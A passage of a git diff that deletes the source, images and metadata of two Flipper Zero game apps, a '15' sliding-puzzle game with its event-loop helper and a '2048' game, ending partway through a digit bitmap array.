b/applications/external/game15/game15.c deleted file mode 100644 index d81cea9be..000000000 --- a/applications/external/game15/game15.c +++ /dev/null @@ -1,473 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include "sandbox.h" - -#define FPS 20 -#define CELL_WIDTH 10 -#define CELL_HEIGHT 8 -#define MOVE_TICKS 5 -#define KEY_STACK_SIZE 16 -#define SAVING_DIRECTORY "/ext/apps/Games" -#define SAVING_FILENAME SAVING_DIRECTORY "/game15.save" -#define POPUP_MENU_ITEMS 2 - -typedef enum { - DirectionNone, - DirectionUp, - DirectionDown, - DirectionLeft, - DirectionRight -} direction_e; - -typedef enum { ScenePlay, SceneWin, ScenePopup } scene_e; - -typedef struct { - uint8_t cell_index; - uint8_t zero_index; - uint8_t move_direction; - uint8_t move_ticks; -} moving_cell_t; - -typedef struct { - uint16_t top_record; - scene_e scene; - uint16_t move_count; - uint32_t tick_count; - uint8_t board[16]; -} game_state_t; - -static game_state_t game_state; -static NotificationApp* notification; -static moving_cell_t moving_cell; -static uint8_t loaded_saving_ticks; -static uint8_t popup_menu_selected_item; - -static const char* popup_menu_strings[] = {"Continue", "Reset"}; - -static uint8_t keys[KEY_STACK_SIZE]; -static uint8_t key_stack_head = 0; - -static const uint8_t pic_cells[] = { - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x30, 0xfc, 0x38, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, - 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x60, 0xfc, 0x30, 0xfc, 0x18, 0xfc, 0x0c, 0xfc, 0xfc, 0xfc, - 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x60, 0xfc, 0xc0, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, - 0x70, 0xfc, 0x78, 0xfc, 0x68, 0xfc, 0x6c, 0xfc, 0x6c, 0xfc, 0xec, 0xfc, 0xfc, 0xfc, 0x60, 0xfc, - 0xfc, 0xfc, 0x0c, 0xfc, 0x0c, 0xfc, 0x7c, 0xfc, 0xc0, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, - 0x78, 0xfc, 0x0c, 0xfc, 0x0c, 0xfc, 0x7c, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, - 0xfc, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, - 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, - 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xf8, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0x78, 0xfc, - 0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd, - 0x8c, 0xfd, 0xce, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, - 0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x86, 0xfd, 0xc6, 0xfc, 0x66, 0xfc, 0x36, 0xfc, 0xf6, 0xff, - 0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x86, 0xfd, 0x06, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd, - 0xc6, 0xfd, 0xe7, 0xfd, 0xa6, 0xfd, 0xb6, 0xfd, 0xb6, 0xfd, 0xb6, 0xff, 0xf6, 0xff, 0x86, 0xfd, - 0xf6, 0xff, 0x37, 0xfc, 0x36, 0xfc, 0xf6, 0xfd, 0x06, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd, -}; - -static const uint8_t pic_digits[] = { - 0xf0, 0xf2, 0xf2, 0xf2, 0xf2, 0xf0, 0xf9, 0xf8, 0xf9, 0xf9, 0xf9, 0xf0, 0xf0, 0xf2, 0xf3, - 0xf1, 0xfc, 0xf0, 0xf0, 0xf3, 0xf1, 0xf3, 0xf2, 0xf0, 0xf3, 0xf1, 0xf2, 0xf2, 0xf0, 0xf3, - 0xf0, 0xfc, 0xf0, 0xf3, 0xf2, 0xf0, 0x00, 0x0c, 0x00, 0x02, 0x02, 0x00, 0x00, 0x03, 0x03, - 0x03, 0x03, 0x03, 0x00, 0x02, 0x00, 0x02, 0x02, 0x00, 0x00, 0x02, 0x00, 0x03, 0x03, 0x00, -}; - -static const uint8_t pic_top[] = {11, 4, 0x88, 0xf8, 0xad, 0xfa, 0xad, 0xf8, 0x8d, 0xfe}; -static const uint8_t pic_move[] = - {17, 4, 0x2e, 0x2a, 0xfe, 0xa4, 0xaa, 0xff, 0xaa, 0x2a, 0xff, 0x2e, 0x36, 0xfe}; -static const uint8_t pic_time[] = {15, 4, 0xa8, 0x8b, 0x2d, 0xe9, 0xad, 0xca, 0xad, 0x8b}; - -static const uint8_t pic_puzzled[] = { - 0xff, 0xcf, 0x00, 0xf3, 0xff, 0xfc, 0x3f, 0x03, 0xc0, 0xff, 0xf3, 0x0f, 0xdc, 0xff, 0xcf, - 0x00, 0xf3, 0xff, 0xfc, 0x3f, 0x03, 0xc0, 0xff, 0xf3, 0x0f, 0xdc, 0x03, 0xcc, 0x00, 0x03, - 0x38, 0x00, 0x0e, 0x03, 0xc0, 0x00, 0x30, 0x30, 0xdc, 0x03, 0xcc, 0x00, 0x03, 0x1c, 0x00, - 0x07, 0x03, 0xc0, 0x00, 0x30, 0x30, 0xdc, 0xff, 0xcf, 0x00, 0x03, 0x0e, 0x80, 0x03, 0x03, - 0xc0, 0xff, 0x33, 0xc0, 0xdc, 0xff, 0xcf, 0x00, 0x03, 0x07, 0xc0, 0x01, 0x03, 0xc0, 0xff, - 0x33, 0xc0, 0xdc, 0x03, 0xc0, 0x00, 0x83, 0x03, 0xe0, 0x00, 0x03, 0xc0, 0x00, 0x30, 0xc0, - 0xd0, 0x03, 0xc0, 0x00, 0xc3, 0x01, 0x70, 0x00, 0x03, 0xc0, 0x00, 0x30, 0xc0, 0xd0, 0x03, - 0xc0, 0xff, 0xf3, 0xff, 0xfc, 0x3f, 0xff, 0xcf, 0xff, 0xf3, 0xff, 0xdc, 0x03, 0xc0, 0xff, - 0xf3, 0xff, 0xfc, 0x3f, 0xff, 0xcf, 0xff, 0xf3, 0xff, 0xdc}; - -static void key_stack_init() { - key_stack_head = 0; -} - -static uint8_t key_stack_pop() { - return keys[--key_stack_head]; -} - -static bool key_stack_is_empty() { - return key_stack_head == 0; -} - -static int key_stack_push(uint8_t value) { - if(key_stack_head != KEY_STACK_SIZE) { - keys[key_stack_head] = value; - key_stack_head++; - return key_stack_head; - } else - return -1; -} - -static bool storage_game_state_load() { - Storage* storage = furi_record_open(RECORD_STORAGE); - File* file = storage_file_alloc(storage); - - uint16_t bytes_readed = 0; - if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING)) - bytes_readed = storage_file_read(file, &game_state, sizeof(game_state_t)); - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - return bytes_readed == sizeof(game_state_t); -} - -static void storage_game_state_save() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(storage_common_stat(storage, SAVING_DIRECTORY, NULL) == FSE_NOT_EXIST) { - if(!storage_simply_mkdir(storage, SAVING_DIRECTORY)) { - return; - } - } - - File* file = storage_file_alloc(storage); - if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(file, &game_state, sizeof(game_state_t)); - } - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); -} - -static void set_moving_cell_by_direction(direction_e direction) { - moving_cell.move_direction = DirectionNone; - moving_cell.zero_index = 0xff; - - for(int i = 0; i < 16; i++) { - if(!game_state.board[i]) { - moving_cell.zero_index = i; - break; - } - } - if(moving_cell.zero_index == 0xff) return; - - uint8_t x = moving_cell.zero_index % 4; - uint8_t y = moving_cell.zero_index / 4; - - moving_cell.cell_index = moving_cell.zero_index; - - if(direction == DirectionUp && y < 3) - moving_cell.cell_index += 4; - else if(direction == DirectionDown && y > 0) - moving_cell.cell_index -= 4; - else if(direction == DirectionLeft && x < 3) - moving_cell.cell_index++; - else if(direction == DirectionRight && x > 0) - moving_cell.cell_index--; - else - return; - - moving_cell.move_ticks = 0; - moving_cell.move_direction = direction; -} - -static bool is_board_has_solution() { - uint8_t i, j, inv = 0; - for(i = 0; i < 16; ++i) - if(game_state.board[i]) - for(j = 0; j < i; ++j) - if(game_state.board[j] > game_state.board[i]) ++inv; - for(i = 0; i < 16; ++i) - if(game_state.board[i] == 0) inv += 1 + i / 4; - - return inv % 2 == 0; -} - -static void board_init() { - for(int i = 0; i < 16; i++) { - game_state.board[i] = (i + 1) % 16; - } - - do { - for(int i = 15; i >= 1; i--) { - int j = rand() % (i + 1); - uint8_t tmp = game_state.board[j]; - game_state.board[j] = game_state.board[i]; - game_state.board[i] = tmp; - } - } while(!is_board_has_solution()); -} - -static void game_init() { - game_state.scene = ScenePlay; - game_state.move_count = 0; - game_state.tick_count = 0; - moving_cell.move_direction = DirectionNone; - board_init(); - key_stack_init(); - popup_menu_selected_item = 0; -} - -static bool is_board_solved() { - for(int i = 0; i < 16; i++) - if(((i + 1) % 16) != game_state.board[i]) return false; - return true; -} - -static void game_tick() { - switch(game_state.scene) { - case ScenePlay: - game_state.tick_count++; - if(loaded_saving_ticks) loaded_saving_ticks--; - if(moving_cell.move_direction == DirectionNone && !key_stack_is_empty()) { - set_moving_cell_by_direction(key_stack_pop()); - if(moving_cell.move_direction == DirectionNone) { - notification_message(notification, &sequence_single_vibro); - key_stack_init(); - } - } - - if(moving_cell.move_direction != DirectionNone) { - moving_cell.move_ticks++; - if(moving_cell.move_ticks == MOVE_TICKS) { - game_state.board[moving_cell.zero_index] = - game_state.board[moving_cell.cell_index]; - game_state.board[moving_cell.cell_index] = 0; - moving_cell.move_direction = DirectionNone; - game_state.move_count++; - } - if(is_board_solved()) { - notification_message(notification, &sequence_double_vibro); - if(game_state.move_count < game_state.top_record || game_state.top_record == 0) { - game_state.top_record = game_state.move_count; - storage_game_state_save(); - } - game_state.scene = SceneWin; - } - } - break; - - case SceneWin: - if(!key_stack_is_empty()) game_init(); - break; - - case ScenePopup: - if(!key_stack_is_empty()) { - switch(key_stack_pop()) { - case DirectionDown: - popup_menu_selected_item++; - popup_menu_selected_item = popup_menu_selected_item % POPUP_MENU_ITEMS; - break; - case DirectionUp: - popup_menu_selected_item--; - popup_menu_selected_item = popup_menu_selected_item % POPUP_MENU_ITEMS; - break; - case DirectionNone: - if(popup_menu_selected_item == 0) { - game_state.scene = ScenePlay; - notification_message(notification, &sequence_single_vibro); - } else if(popup_menu_selected_item == 1) { - notification_message(notification, &sequence_single_vibro); - game_init(); - } - break; - } - } - break; - } -} - -static void draw_cell(Canvas* canvas, uint8_t x, uint8_t y, uint8_t cell_number) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, x, y, 18, 14, 1); - canvas_set_color(canvas, ColorBlack); - canvas_draw_xbm(canvas, x + 4, y + 3, CELL_WIDTH, CELL_HEIGHT, pic_cells + cell_number * 16); -} - -static void board_draw(Canvas* canvas) { - for(int i = 0; i < 16; i++) { - if(game_state.board[i]) { - if(moving_cell.move_direction == DirectionNone || moving_cell.cell_index != i) - draw_cell(canvas, (i % 4) * 20 + 7, (i / 4) * 16 + 1, game_state.board[i]); - if(moving_cell.move_direction != DirectionNone && moving_cell.cell_index == i) { - uint8_t from_x = (moving_cell.cell_index % 4) * 20 + 7; - uint8_t from_y = (moving_cell.cell_index / 4) * 16 + 1; - uint8_t to_x = (moving_cell.zero_index % 4) * 20 + 7; - uint8_t to_y = (moving_cell.zero_index / 4) * 16 + 1; - int now_x = from_x + (to_x - from_x) * moving_cell.move_ticks / MOVE_TICKS; - int now_y = from_y + (to_y - from_y) * moving_cell.move_ticks / MOVE_TICKS; - draw_cell(canvas, now_x, now_y, game_state.board[i]); - } - } - } -} - -static void number_draw(Canvas* canvas, uint8_t y, uint32_t value) { - uint8_t x = 121; - while(true) { - uint8_t digit = value % 10; - canvas_draw_xbm(canvas, x, y, 4, 6, pic_digits + digit * 6); - x -= 5; - value = value / 10; - if(!value) break; - } -} - -static void plate_draw( - Canvas* canvas, - uint8_t y, - const uint8_t* header, - uint32_t value, - bool dont_draw_zero_value) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_rbox(canvas, 92, y, 35, 19, 2); - canvas_set_color(canvas, ColorBlack); - canvas_draw_xbm(canvas, 95, y + 3, header[0], header[1], &header[2]); - if((!value && !dont_draw_zero_value) || value) number_draw(canvas, y + 10, value); -} - -static void info_draw(Canvas* canvas) { - plate_draw(canvas, 1, pic_top, game_state.top_record, true); - plate_draw(canvas, 22, pic_move, game_state.move_count, false); - plate_draw(canvas, 43, pic_time, game_state.tick_count / FPS, false); -} - -static void gray_screen(Canvas* const canvas) { - canvas_set_color(canvas, ColorWhite); - for(int x = 0; x < 128; x += 2) { - for(int y = 0; y < 64; y++) { - canvas_draw_dot(canvas, x + (y % 2 == 1 ? 0 : 1), y); - } - } -} - -static void render_callback(Canvas* const canvas) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, 128, 64); - - if(game_state.scene == ScenePlay || game_state.scene == SceneWin || - game_state.scene == ScenePopup) { - canvas_set_color(canvas, ColorBlack); - board_draw(canvas); - info_draw(canvas); - - if(loaded_saving_ticks && game_state.scene != ScenePopup) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, 20, 24, 88, 16, 4); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 20, 24, 88, 16, 4); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignCenter, "Restore game ..."); - } - } - - if(game_state.scene == SceneWin) { - gray_screen(canvas); - canvas_draw_box(canvas, 7, 20, 114, 24); - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 8, 21, 112, 22); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 10, 23, 108, 18); - canvas_set_color(canvas, ColorBlack); - canvas_draw_xbm(canvas, 14, 27, 100, 10, pic_puzzled); - } else if(game_state.scene == ScenePopup) { - gray_screen(canvas); - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, 28, 16, 72, 32, 4); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 28, 16, 72, 32, 4); - - for(int i = 0; i < POPUP_MENU_ITEMS; i++) { - if(i == popup_menu_selected_item) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 34, 20 + 12 * i, 60, 12); - } - - canvas_set_color(canvas, i == popup_menu_selected_item ? ColorWhite : ColorBlack); - canvas_draw_str_aligned( - canvas, 64, 26 + 12 * i, AlignCenter, AlignCenter, popup_menu_strings[i]); - } - } -} - -static void game_event_handler(GameEvent const event) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - key_stack_push(DirectionUp); - break; - case InputKeyDown: - key_stack_push(DirectionDown); - break; - case InputKeyRight: - key_stack_push(DirectionRight); - break; - case InputKeyLeft: - key_stack_push(DirectionLeft); - break; - case InputKeyOk: - if(game_state.scene == ScenePlay) { - game_state.scene = ScenePopup; - key_stack_init(); - } else - key_stack_push(DirectionNone); - break; - case InputKeyBack: - if(game_state.scene == ScenePopup) { - game_state.scene = ScenePlay; - } else { - storage_game_state_save(); - sandbox_loop_exit(); - } - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - game_tick(); - } -} - -static void game_alloc() { - key_stack_init(); - notification = furi_record_open(RECORD_NOTIFICATION); - notification_message_block(notification, &sequence_display_backlight_enforce_on); -} - -static void game_free() { - notification_message_block(notification, &sequence_display_backlight_enforce_auto); - furi_record_close(RECORD_NOTIFICATION); -} - -int32_t game15_app() { - game_alloc(); - game_init(); - - loaded_saving_ticks = 0; - if(storage_game_state_load()) { - if(game_state.scene != ScenePlay) - game_init(); - else - loaded_saving_ticks = FPS; - } else - game_init(); - - sandbox_init( - FPS, (SandboxRenderCallback)render_callback, (SandboxEventHandler)game_event_handler); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - sandbox_loop(); - sandbox_free(); - game_free(); - return 0; -} diff --git a/applications/external/game15/game15_10px.png b/applications/external/game15/game15_10px.png deleted file mode 100644 index 16c4f1038..000000000 Binary files a/applications/external/game15/game15_10px.png and /dev/null differ diff --git a/applications/external/game15/images/Game15.png b/applications/external/game15/images/Game15.png deleted file mode 100644 index f13c2907b..000000000 Binary files a/applications/external/game15/images/Game15.png and /dev/null differ diff --git a/applications/external/game15/images/Game15Popup.png b/applications/external/game15/images/Game15Popup.png deleted file mode 100644 index 1df14729f..000000000 Binary files a/applications/external/game15/images/Game15Popup.png and /dev/null differ diff --git a/applications/external/game15/images/Game15Restore.png b/applications/external/game15/images/Game15Restore.png deleted file mode 100644 index 05aac27f6..000000000 Binary files a/applications/external/game15/images/Game15Restore.png and /dev/null differ diff --git a/applications/external/game15/sandbox.c b/applications/external/game15/sandbox.c deleted file mode 100644 index e3b759fc8..000000000 --- a/applications/external/game15/sandbox.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include -#include "sandbox.h" - -FuriMessageQueue* sandbox_event_queue; -FuriMutex** sandbox_mutex; -ViewPort* sandbox_view_port; -Gui* sandbox_gui; -FuriTimer* sandbox_timer; -bool sandbox_loop_processing; -SandboxRenderCallback sandbox_user_render_callback; -SandboxEventHandler sandbox_user_event_handler; - -static void sandbox_render_callback(Canvas* const canvas, void* context) { - UNUSED(context); - if(furi_mutex_acquire(sandbox_mutex, 25) != FuriStatusOk) return; - - if(sandbox_user_render_callback) sandbox_user_render_callback(canvas); - - furi_mutex_release(sandbox_mutex); -} - -static void sandbox_input_callback(InputEvent* input_event, void* context) { - UNUSED(context); - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(sandbox_event_queue, &event, FuriWaitForever); -} - -static void sandbox_timer_callback(void* context) { - UNUSED(context); - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(sandbox_event_queue, &event, 0); -} - -void sandbox_loop() { - sandbox_loop_processing = true; - while(sandbox_loop_processing) { - GameEvent event; - FuriStatus event_status = furi_message_queue_get(sandbox_event_queue, &event, 100); - if(event_status != FuriStatusOk) { - // timeout - continue; - } - - furi_mutex_acquire(sandbox_mutex, FuriWaitForever); - - if(sandbox_user_event_handler) sandbox_user_event_handler(event); - - view_port_update(sandbox_view_port); - furi_mutex_release(sandbox_mutex); - } -} - -void sandbox_loop_exit() { - sandbox_loop_processing = false; -} - -void sandbox_init( - uint8_t fps, - SandboxRenderCallback u_render_callback, - SandboxEventHandler u_event_handler) { - sandbox_user_render_callback = u_render_callback; - sandbox_user_event_handler = u_event_handler; - - sandbox_event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - sandbox_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - sandbox_view_port = view_port_alloc(); - view_port_draw_callback_set(sandbox_view_port, sandbox_render_callback, NULL); - view_port_input_callback_set(sandbox_view_port, sandbox_input_callback, NULL); - - sandbox_gui = furi_record_open(RECORD_GUI); - gui_add_view_port(sandbox_gui, sandbox_view_port, GuiLayerFullscreen); - - if(fps > 0) { - sandbox_timer = furi_timer_alloc(sandbox_timer_callback, FuriTimerTypePeriodic, NULL); - furi_timer_start(sandbox_timer, furi_kernel_get_tick_frequency() / fps); - } else - sandbox_timer = NULL; -} - -void sandbox_free() { - if(sandbox_timer) furi_timer_free(sandbox_timer); - - gui_remove_view_port(sandbox_gui, sandbox_view_port); - view_port_enabled_set(sandbox_view_port, false); - view_port_free(sandbox_view_port); - - if(furi_mutex_acquire(sandbox_mutex, FuriWaitForever) == FuriStatusOk) { - furi_mutex_free(sandbox_mutex); - } - furi_message_queue_free(sandbox_event_queue); -} diff --git a/applications/external/game15/sandbox.h b/applications/external/game15/sandbox.h deleted file mode 100644 index ea7dff37b..000000000 --- a/applications/external/game15/sandbox.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -typedef void (*SandboxRenderCallback)(Canvas* canvas); -typedef void (*SandboxEventHandler)(GameEvent event); - -void sandbox_init( - uint8_t fps, - SandboxRenderCallback render_callback, - SandboxEventHandler event_handler); -void sandbox_loop(); -void sandbox_loop_exit(); -void sandbox_free(); diff --git a/applications/external/game_2048/LICENSE b/applications/external/game_2048/LICENSE deleted file mode 100644 index f3da84264..000000000 --- a/applications/external/game_2048/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Eugene Kirzhanov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/applications/external/game_2048/README.md b/applications/external/game_2048/README.md deleted file mode 100644 index b743f1b59..000000000 --- a/applications/external/game_2048/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# "2048" game for Flipper Zero -- play up to 65K -- progress is saved on exit - -![Game screen](images/screenshot1.png) -![Menu screen](images/screenshot2.png) - -#### TODO: - - add animations - -#### Thanks to: - - [DroomOne's FlappyBird](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) - - [x27's "15" Game](https://github.com/x27/flipperzero-game15) - -#### License -[MIT](LICENSE) -Copyright 2022 Eugene Kirzhanov diff --git a/applications/external/game_2048/application.fam b/applications/external/game_2048/application.fam deleted file mode 100644 index b6e6640ab..000000000 --- a/applications/external/game_2048/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="game_2048", - name="2048", - apptype=FlipperAppType.EXTERNAL, - entry_point="game_2048_app", - requires=[ - "gui", - ], - stack_size=1 * 1024, - order=90, - fap_icon="game_2048.png", - fap_category="Games", - fap_author="@eugene-kirzhanov", - fap_version="1.0", - fap_description="2048 Game", -) \ No newline at end of file diff --git a/applications/external/game_2048/array_utils.c b/applications/external/game_2048/array_utils.c deleted file mode 100644 index f68570d1d..000000000 --- a/applications/external/game_2048/array_utils.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "array_utils.h" - -void reverse_array(int length, uint8_t arr[length]) { - uint8_t tmp; - for(int low = 0, high = length - 1; low < high; low++, high--) { - tmp = arr[low]; - arr[low] = arr[high]; - arr[high] = tmp; - } -} - -bool shift_array_to_left(int length, uint8_t arr[length], uint8_t from_index, uint8_t offset) { - if(from_index >= length) return false; - for(uint8_t i = from_index; i < length; i++) { - arr[i] = i < length - offset ? arr[i + offset] : 0; - } - return true; -} - -void get_column_from_array( - int rows, - int cols, - uint8_t arr[rows][cols], - uint8_t column_index, - uint8_t* out) { - for(uint8_t i = 0; i < rows; i++) { - out[i] = arr[i][column_index]; - } -} - -void set_column_to_array( - int rows, - int cols, - uint8_t arr[rows][cols], - uint8_t column_index, - uint8_t* src) { - for(uint8_t i = 0; i < rows; i++) { - arr[i][column_index] = src[i]; - } -} \ No newline at end of file diff --git a/applications/external/game_2048/array_utils.h b/applications/external/game_2048/array_utils.h deleted file mode 100644 index 371878446..000000000 --- a/applications/external/game_2048/array_utils.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include -#include - -void reverse_array(int length, uint8_t arr[length]); - -bool shift_array_to_left(int length, uint8_t arr[length], uint8_t from_index, uint8_t offset); - -void get_column_from_array( - int rows, - int cols, - uint8_t arr[rows][cols], - uint8_t column_index, - uint8_t* out); - -void set_column_to_array( - int rows, - int cols, - uint8_t arr[rows][cols], - uint8_t column_index, - uint8_t* src); diff --git a/applications/external/game_2048/digits.h b/applications/external/game_2048/digits.h deleted file mode 100644 index e79e7b033..000000000 --- a/applications/external/game_2048/digits.h +++ /dev/null @@ -1,263 +0,0 @@ -#pragma once - -#include - -uint8_t digits[16][14][14] = { - - // 2 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 4 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 8 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 16 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 